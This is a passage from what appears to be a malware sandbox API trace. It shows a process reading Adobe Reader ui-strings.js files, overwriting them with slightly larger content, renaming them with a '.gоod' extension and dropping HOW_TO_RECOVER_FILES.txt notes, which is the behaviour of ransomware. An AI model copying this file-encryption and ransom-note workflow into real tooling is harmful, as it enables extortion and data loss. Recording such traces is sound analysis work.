ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.824] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.824] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0264.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0264.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0264.824] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0264.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0264.824] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3789e68 | out: lpFileInformation=0x3789e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0264.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0264.825] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0264.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0264.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0264.825] GetFileType (hFile=0x828) returned 0x1 [0264.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0264.825] GetFileType (hFile=0x828) returned 0x1 [0264.825] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x480 [0264.825] ReadFile (in: hFile=0x828, lpBuffer=0x378a690, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x378a690*, lpNumberOfBytesRead=0x208ebf98*=0x480, lpOverlapped=0x0) returned 1 [0264.826] CloseHandle (hObject=0x828) returned 1 [0265.321] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0265.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0265.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0265.669] GetFileType (hFile=0x8a8) returned 0x1 [0265.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0265.669] GetFileType (hFile=0x8a8) returned 0x1 [0265.770] WriteFile (in: hFile=0x8a8, lpBuffer=0x3877698*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3877698*, lpNumberOfBytesWritten=0x208ebea8*=0x490, lpOverlapped=0x0) returned 1 [0265.773] CloseHandle (hObject=0x8a8) returned 1 [0265.773] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0265.773] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0265.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0265.774] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9a9f6db5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0265.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0265.774] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\ui-strings.js.gоod")) returned 1 [0265.775] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0265.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0265.775] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0265.776] GetFileType (hFile=0x8a8) returned 0x1 [0265.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0265.776] GetFileType (hFile=0x8a8) returned 0x1 [0265.776] WriteFile (in: hFile=0x8a8, lpBuffer=0x387e408*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x387e408*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0265.777] CloseHandle (hObject=0x8a8) returned 1 [0265.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0265.777] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma", lpFilePart=0x0) returned 0x76 [0265.777] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0265.778] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.778] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.778] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0265.778] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0265.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0265.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0265.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0265.778] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma", lpFilePart=0x0) returned 0x76 [0265.779] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0265.779] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.779] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.779] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.779] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0265.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0265.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0265.779] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0265.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0265.779] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x388e310 | out: lpFileInformation=0x388e310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0265.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0265.780] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0265.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0265.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0265.780] GetFileType (hFile=0x8a8) returned 0x1 [0265.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0265.780] GetFileType (hFile=0x8a8) returned 0x1 [0265.780] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x480 [0265.780] ReadFile (in: hFile=0x8a8, lpBuffer=0x388eb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x388eb38*, lpNumberOfBytesRead=0x208ebf98*=0x480, lpOverlapped=0x0) returned 1 [0265.873] CloseHandle (hObject=0x8a8) returned 1 [0265.901] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0265.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0265.901] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0265.902] GetFileType (hFile=0x8a8) returned 0x1 [0265.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0265.902] GetFileType (hFile=0x8a8) returned 0x1 [0265.902] WriteFile (in: hFile=0x8a8, lpBuffer=0x38b8d28*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x38b8d28*, lpNumberOfBytesWritten=0x208ebea8*=0x490, lpOverlapped=0x0) returned 1 [0265.902] CloseHandle (hObject=0x8a8) returned 1 [0265.902] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0265.902] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0265.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0265.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9ab4e501, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0265.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0265.903] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\ui-strings.js.gоod")) returned 1 [0265.904] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0265.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0265.904] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0265.905] GetFileType (hFile=0x8a8) returned 0x1 [0265.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0265.905] GetFileType (hFile=0x8a8) returned 0x1 [0265.905] WriteFile (in: hFile=0x8a8, lpBuffer=0x38bc628*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x38bc628*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0265.906] CloseHandle (hObject=0x8a8) returned 1 [0265.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0265.906] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il", lpFilePart=0x0) returned 0x76 [0265.906] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, 